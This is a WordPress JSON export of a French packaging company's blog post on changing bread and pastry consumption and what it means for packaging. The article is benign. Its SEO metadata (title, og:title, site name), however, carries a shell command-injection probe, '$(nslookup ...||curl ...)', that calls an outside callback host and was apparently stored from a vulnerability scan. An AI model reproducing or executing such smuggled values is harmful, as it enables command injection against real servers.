{"id":22187,"date":"2026-03-27T14:55:39","date_gmt":"2026-03-27T13:55:39","guid":{"rendered":"https:\/\/www.groupeguillin.fr\/?p=22187"},"modified":"2026-03-30T16:09:49","modified_gmt":"2026-03-30T14:09:49","slug":"pain-viennoiseries-de-nouvelles-habitudes-qui-redefinissent-les-besoins-en-emballages","status":"publish","type":"post","link":"https:\/\/www.groupeguillin.fr\/?p=22187","title":{"rendered":"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages"},"content":{"rendered":"<p>[et_pb_section fb_built=\u00a0\u00bb1&Prime; admin_label=\u00a0\u00bbsection\u00a0\u00bb _builder_version=\u00a0\u00bb4.16&Prime; global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_padding=\u00a0\u00bb||24px|||\u00a0\u00bb][et_pb_row admin_label=\u00a0\u00bbrow\u00a0\u00bb _builder_version=\u00a0\u00bb4.16&Prime; background_size=\u00a0\u00bbinitial\u00a0\u00bb background_position=\u00a0\u00bbtop_left\u00a0\u00bb background_repeat=\u00a0\u00bbrepeat\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4&Prime; _builder_version=\u00a0\u00bb4.16&Prime; custom_padding=\u00a0\u00bb|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_padding__hover=\u00a0\u00bb|||\u00a0\u00bb][et_pb_text admin_label=\u00a0\u00bbText\u00a0\u00bb _builder_version=\u00a0\u00bb4.16&Prime; background_size=\u00a0\u00bbinitial\u00a0\u00bb background_position=\u00a0\u00bbtop_left\u00a0\u00bb background_repeat=\u00a0\u00bbrepeat\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb custom_margin=\u00a0\u00bb-93px|||||\u00a0\u00bb]<\/p>\n<blockquote>\n<p><span style=\"font-size: small;\">Source : Zepros, Pain et viennoiserie, des usages en plein changement\u00a0<\/span><\/p>\n<\/blockquote>\n<p>Le march\u00e9 du pain et de la viennoiserie \u00e9volue rapidement. Derri\u00e8re une apparente stabilit\u00e9 (le pain restant un pilier de l\u2019alimentation fran\u00e7aise) <span style=\"color: #21aa6b;\">les usages changent profond\u00e9ment<\/span>. Pour les professionnels de l\u2019emballage alimentaire, ces mutations ouvrent de <span style=\"font-family: inherit; font-weight: normal; color: #21aa6b;\">nouvelles opportunit\u00e9s commerciales<\/span>, \u00e0 condition d\u2019adapter leur approche aux r\u00e9alit\u00e9s terrain.<\/p>\n<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb||7px|||\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb4_4&Prime;][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime;]<\/p>\n<h4 class=\"wp-block-heading\">Le pain reste central\u2026 mais ses usages se transforment<\/h4>\n<\/p>\n<p>Si la consommation globale de pain diminue lentement, il reste un produit incontournable : <span style=\"color: #21aa6b;\">plus d\u2019un Fran\u00e7ais sur deux en consomme chaque jour<\/span>.<\/p>\n<p><span style=\"font-size: 16px; font-family: inherit;\">Mais le v\u00e9ritable tournant se situe ailleurs. Le moment de consommation a chang\u00e9 :<\/span><\/p>\n<ul>\n<li>Le <span style=\"color: #21aa6b;\">d\u00e9jeuner <\/span>devient le premier moment de consommation<\/li>\n<li><span style=\"font-size: 16px; font-family: inherit;\">Le <span style=\"color: #21aa6b;\">snacking <\/span>explose : sandwichs, burgers, paninis<\/span><\/li>\n<li><span style=\"font-size: 16px; font-family: inherit;\">Le <span style=\"color: #21aa6b;\">petit-d\u00e9jeuner<\/span> recule<\/span><\/li>\n<\/ul>\n<p>Le pain n\u2019est plus seulement un produit \u201cde table\u201d, mais un produit <span style=\"color: #21aa6b;\">nomade et fonctionnel<\/span>. Des opportunit\u00e9s commerciales s\u2019ouvrent alors \u00e0 nous\u00a0:<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>Emballages transportables et r\u00e9sistants (sandwich, snacking)<\/li>\n<li>Solutions anti-humidit\u00e9 \/ anti-graisse<\/li>\n<li>Formats pr\u00eats \u00e0 emporter adapt\u00e9s \u00e0 la vente rapide<\/li>\n<\/ul>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_margin=\u00a0\u00bb|auto|-38px|auto||\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb4_4&Prime;][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_margin=\u00a0\u00bb-10px|||||\u00a0\u00bb]<\/p>\n<h4><strong>Snacking : le moteur de croissance \u00e0 ne pas rater<\/strong><\/h4>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb column_structure=\u00a0\u00bb1_2,1_2&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_2&Prime;][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_padding=\u00a0\u00bb|0px||||\u00a0\u00bb custom_margin=\u00a0\u00bb|104px||||\u00a0\u00bb width=\u00a0\u00bb79.7%\u00a0\u00bb]<\/p>\n<p><strong> <\/strong><\/p>\n<h4><\/h4>\n<p>Avec 82% des Fran\u00e7ais achetant des sandwichs, le snacking devient un levier majeur. Les clients attendent d\u00e9sormais un <span style=\"color: #21aa6b;\">service rapide<\/span> pour ne pas perdre de temps. Enfin, la cerise sur le g\u00e2teau, l\u2019exp\u00e9rience doit \u00eatre <span style=\"color: #21aa6b;\">ergonomique <\/span>et <span style=\"color: #21aa6b;\">faciliter la d\u00e9gustation<\/span>.<\/p>\n<h4><strong>L\u2019artisan reste roi : un positionnement premium \u00e0 exploiter<\/strong><\/h4>\n<p>Les <span style=\"color: #21aa6b;\">boulangeries artisanales<\/span> dominent toujours largement le march\u00e9 :<\/p>\n<ul>\n<li>68% des Fran\u00e7ais y ach\u00e8tent leur pain<\/li>\n<li>73% pour les viennoiseries<\/li>\n<li>Forte satisfaction client<\/li>\n<\/ul>\n<p>Cela signifie une attente \u00e9lev\u00e9e sur la <span style=\"color: #21aa6b;\">qualit\u00e9\u2026 y compris celle de l\u2019emballage<\/span>. La <span style=\"color: #21aa6b;\">personnalisation <\/span>et les <span style=\"color: #21aa6b;\">mat\u00e9riaux premium<\/span> ont le vent en poupe. Les clients s\u2019attendent \u00e9galement \u00e0 ce que les emballages deviennent une <span style=\"color: #21aa6b;\">extension de leur marque<\/span>.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_2&Prime;][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/ProduitsGuillinShootingLifestyle-AdrienTouzotPhotographie-97-3-scaled.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb title_text=\u00a0\u00bbProduitsGuillinShootingLifestyle-AdrienTouzotPhotographie-97&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_margin=\u00a0\u00bb21px|-43px||-171px||\u00a0\u00bb custom_padding=\u00a0\u00bb|||0px||\u00a0\u00bb width=\u00a0\u00bb127.8%\u00a0\u00bb min_height=\u00a0\u00bb446.1px\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb column_structure=\u00a0\u00bb1_5,1_5,1_5,1_5,1_5&Prime;][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_5&Prime;][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/Plan-de-travail-1.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; title_text=\u00a0\u00bbPlan de travail 1&Prime;][\/et_pb_image][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_5&Prime;][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/Plan-de-travail-2.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb title_text=\u00a0\u00bbPlan de travail 2&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_margin=\u00a0\u00bb-9px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb][\/et_pb_image][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_5&Prime;][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/Plan-de-travail-3.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb title_text=\u00a0\u00bbPlan de travail 3&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime;][\/et_pb_image][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_5&Prime;][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/Plan-de-travail-4.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb title_text=\u00a0\u00bbPlan de travail 4&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime;][\/et_pb_image][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_5&Prime;][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/Plan-de-travail-5.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb title_text=\u00a0\u00bbPlan de travail 5&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime;][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\u00a0\u00bb1&Prime; theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb custom_padding=\u00a0\u00bb0px||2px|||\u00a0\u00bb][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb type=\u00a0\u00bb4_4&Prime;][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime;]<\/p>\n<h4><strong>Viennoiseries : un produit plaisir en pleine expansion<\/strong><\/h4>\n<p>71% des Fran\u00e7ais consomment des viennoiseries chaque semaine, avec une diversification des moments :<\/p>\n<ul>\n<li>Petit-d\u00e9jeuner (toujours dominant)<\/li>\n<li>Pause de l\u2019apr\u00e8s-midi en forte progression<\/li>\n<\/ul>\n<p>Ce qui change, c\u2019est surtout <span style=\"color: #21aa6b;\">le choix<\/span> qui s\u2019offre \u00e0 eux, et la <span style=\"color: #21aa6b;\">mont\u00e9e en gamme des recettes<\/span>.<\/p>\n<p>Les viennoiseries ne sont plus uniquement standards. Elles deviennent <span style=\"color: #21aa6b;\">plus gourmandes, plus fragiles, plus premium<\/span>. Elles ont un besoin plus grand de <span style=\"color: #21aa6b;\">protection <\/span>(gla\u00e7age, fourrage), de <span style=\"color: #21aa6b;\">mise en valeur visuelle<\/span> et de <span style=\"color: #21aa6b;\">formats adapt\u00e9s<\/span>.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb column_structure=\u00a0\u00bb1_2,1_2&Prime; theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb min_height=\u00a0\u00bb498px\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_2&Prime; theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/LUXIPACK-SNACK-__HD-1-1.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb title_text=\u00a0\u00bbLUXIPACK SNACK __HD-1&Prime; hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_padding=\u00a0\u00bb|36px||||\u00a0\u00bb custom_margin=\u00a0\u00bb|-146px||||\u00a0\u00bb][\/et_pb_image][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_2&Prime; theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6&Prime; _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb hover_enabled=\u00a0\u00bb0&Prime; sticky_enabled=\u00a0\u00bb0&Prime; custom_padding=\u00a0\u00bb||0px|94px||\u00a0\u00bb custom_margin=\u00a0\u00bb|-20px||||\u00a0\u00bb min_height=\u00a0\u00bb449px\u00a0\u00bb]<\/p>\n<h4>Les nouvelles attentes consommateurs<\/h4>\n<h4>\u00e0 int\u00e9grer absolument<\/h4>\n<p><span style=\"font-family: inherit; font-weight: normal;\">Trois grandes tendances se d\u00e9gagent :<\/span><\/p>\n<p>1. <span style=\"color: #21aa6b;\">Mobilit\u00e9 <\/span>: Produits consomm\u00e9s en d\u00e9placement<br \/><em>\u279c<\/em> emballages pratiques, refermables, faciles \u00e0 transporter<\/p>\n<p>2. <span style=\"color: #21aa6b;\">Exp\u00e9rience <\/span>: le consommateur attend du confort et du plaisir<br \/><em>\u279c<\/em> ergonomie + design<\/p>\n<p>3. <span style=\"color: #21aa6b;\">Responsabilit\u00e9 <\/span>: attente croissante sur l\u2019environnement<br \/><em>\u279c<\/em> mat\u00e9riaux recyclables, r\u00e9duction du plastique<\/p>\n<h4><strong>Conclusion<\/strong><\/h4>\n<p>Le march\u00e9 du pain et de la viennoiserie n\u2019est pas en d\u00e9clin : il est en <span style=\"color: #21aa6b;\">mutation<\/span>. Et ces mutations redessinent profond\u00e9ment les besoins en emballages : <span style=\"color: #21aa6b;\">+ de snacking, + de mobilit\u00e9, + de premium !<\/span><\/p>\n<p>Pour les commerciaux, c\u2019est une opportunit\u00e9 claire :<br \/><strong><span style=\"color: #21aa6b;\">accompagner leurs clients avec des solutions d\u2019emballage qui suivent <\/span><\/strong><br \/><strong><span style=\"color: #21aa6b;\">(et anticipent) les nouveaux usages.<\/span><\/strong><\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Source : Zepros, Pain et viennoiserie, des usages en plein changement\u00a0 Le march\u00e9 du pain et de la viennoiserie \u00e9volue rapidement. Derri\u00e8re une apparente stabilit\u00e9 (le pain restant un pilier de l\u2019alimentation fran\u00e7aise) les usages changent profond\u00e9ment. Pour les professionnels de l\u2019emballage alimentaire, ces mutations ouvrent de nouvelles opportunit\u00e9s commerciales, \u00e0 condition d\u2019adapter leur approche [&hellip;]<\/p>\n","protected":false},"author":10,"featured_media":22195,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"on","_et_pb_old_content":"<!-- wp:paragraph -->\n<p>Source\u00a0: Zepros, Pain et viennoiserie, des usages en plein<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Le march\u00e9 du pain et de la viennoiserie \u00e9volue rapidement. Derri\u00e8re une apparente stabilit\u00e9 (le pain restant un pilier de l\u2019alimentation fran\u00e7aise) les usages changent profond\u00e9ment. Pour les professionnels de l\u2019emballage alimentaire, ces mutations ouvrent de nouvelles opportunit\u00e9s commerciales, \u00e0 condition d\u2019adapter leur approche aux r\u00e9alit\u00e9s terrain<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Le pain reste central\u2026 mais ses usages se transforment<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Si la consommation globale de pain diminue lentement, il reste un produit incontournable : plus d\u2019un Fran\u00e7ais sur deux en consomme chaque jour.<br>Mais le v\u00e9ritable tournant se situe ailleurs : le moment de consommation a chang\u00e9<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Le d\u00e9jeuner devient le premier moment de consommation<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Le snacking explose : sandwichs, burgers, paninis<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Le petit-d\u00e9jeuner recule<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le pain n\u2019est plus seulement un produit \u201cde table\u201d, mais un produit nomade et fonctionnel. Des opportunit\u00e9s commerciales s\u2019ouvrent alors \u00e0 nous\u00a0:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":22188,\"sizeSlug\":\"full\",\"linkDestination\":\"none\",\"align\":\"right\"} -->\n<figure class=\"wp-block-image alignright size-full\"><img src=\"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image.png\" alt=\"\" class=\"wp-image-22188\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Emballages transportables et r\u00e9sistants (sandwich, snacking)<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Solutions anti-humidit\u00e9 \/ anti-graisse<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Formats pr\u00eats \u00e0 emporter adapt\u00e9s \u00e0 la vente rapide<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Snacking : le moteur de croissance \u00e0 ne pas rater<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Avec 82% des Fran\u00e7ais achetant des sandwichs, le snacking devient un levier majeur. Les clients attendent d\u00e9sormais un service rapide pour ne pas perdre de temps. Enfin, la cerise sur le g\u00e2teau, l\u2019exp\u00e9rience doit \u00eatre ergonomique et faciliter la d\u00e9gustation.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">L\u2019artisan reste roi : un positionnement premium \u00e0 exploiter<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Les boulangeries artisanales dominent toujours largement le march\u00e9 :<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>68% des Fran\u00e7ais y ach\u00e8tent leur pain<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>73% pour les viennoiseries<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Forte satisfaction client<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Cela signifie une attente \u00e9lev\u00e9e sur la qualit\u00e9\u2026 y compris celle de l\u2019emballage. La personnalisation et les mat\u00e9riaux premium ont le vent en poupe. Les clients s\u2019attendent \u00e9galement \u00e0 ce que les emballages deviennent une extension de leur marque.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Viennoiseries : un produit plaisir en pleine expansion<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>71% des Fran\u00e7ais consomment des viennoiseries chaque semaine, avec une diversification des moments :<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Petit-d\u00e9jeuner (toujours dominant)<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pause de l\u2019apr\u00e8s-midi en forte progression<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Ce qui change, c\u2019est surtout le choix qui s\u2019offre \u00e0 eux, et la mont\u00e9e en gamme des recettes.<br>Les viennoiseries ne sont plus uniquement standards. Elles deviennent plus gourmandes, plus fragiles, plus premium. Elles ont un besoin plus grand de protection (gla\u00e7age, fourrage), de mise en valeur visuelle et de formats adapt\u00e9s.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":22195,\"sizeSlug\":\"large\",\"linkDestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1-1024x684.png\" alt=\"\" class=\"wp-image-22195\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Les nouvelles attentes consommateurs \u00e0 int\u00e9grer absolument<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trois grandes tendances se d\u00e9gagent :<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Mobilit\u00e9\u00a0: lroduits consomm\u00e9s en d\u00e9placement<br>- emballages pratiques, refermables, faciles \u00e0 transporter<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exp\u00e9rience\u00a0: le consommateur attend du confort et du plaisir<br>- ergonomie + design<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Responsabilit\u00e9\u00a0: attente croissante sur l\u2019environnement<br>- mat\u00e9riaux recyclables, r\u00e9duction du plastique<\/li>\n<!-- \/wp:list-item --><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Le march\u00e9 du pain et de la viennoiserie n\u2019est pas en d\u00e9clin : il est en mutation.<br>Et ces mutations redessinent profond\u00e9ment les besoins en emballages.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Plus de snacking<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plus de mobilit\u00e9<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plus de premium<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Pour les commerciaux, c\u2019est une opportunit\u00e9 claire :<br>accompagner leurs clients avec des solutions d\u2019emballage qui suivent (et anticipent) les nouveaux usages.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><\/p>\n<!-- \/wp:paragraph -->","_et_gb_content_width":"1440","footnotes":""},"categories":[88],"tags":[],"class_list":["post-22187","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-informations-utiles"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)<\/title>\n<meta name=\"description\" content=\"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l&#039;emballage alimentaire plastique, papier et carton.\" \/>\n<meta name=\"robots\" content=\"noindex, nofollow\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)\" \/>\n<meta property=\"og:description\" content=\"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l&#039;emballage alimentaire plastique, papier et carton.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.groupeguillin.fr\/?p=22187\" \/>\n<meta property=\"og:site_name\" content=\"$(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-27T13:55:39+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-30T14:09:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1116\" \/>\n\t<meta property=\"og:image:height\" content=\"745\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Ga\u00ebl Chareyre\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Ga\u00ebl Chareyre\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187\"},\"author\":{\"name\":\"Ga\u00ebl Chareyre\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#\\\/schema\\\/person\\\/ffca20ffb59251d7b11d7e890be5602c\"},\"headline\":\"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en 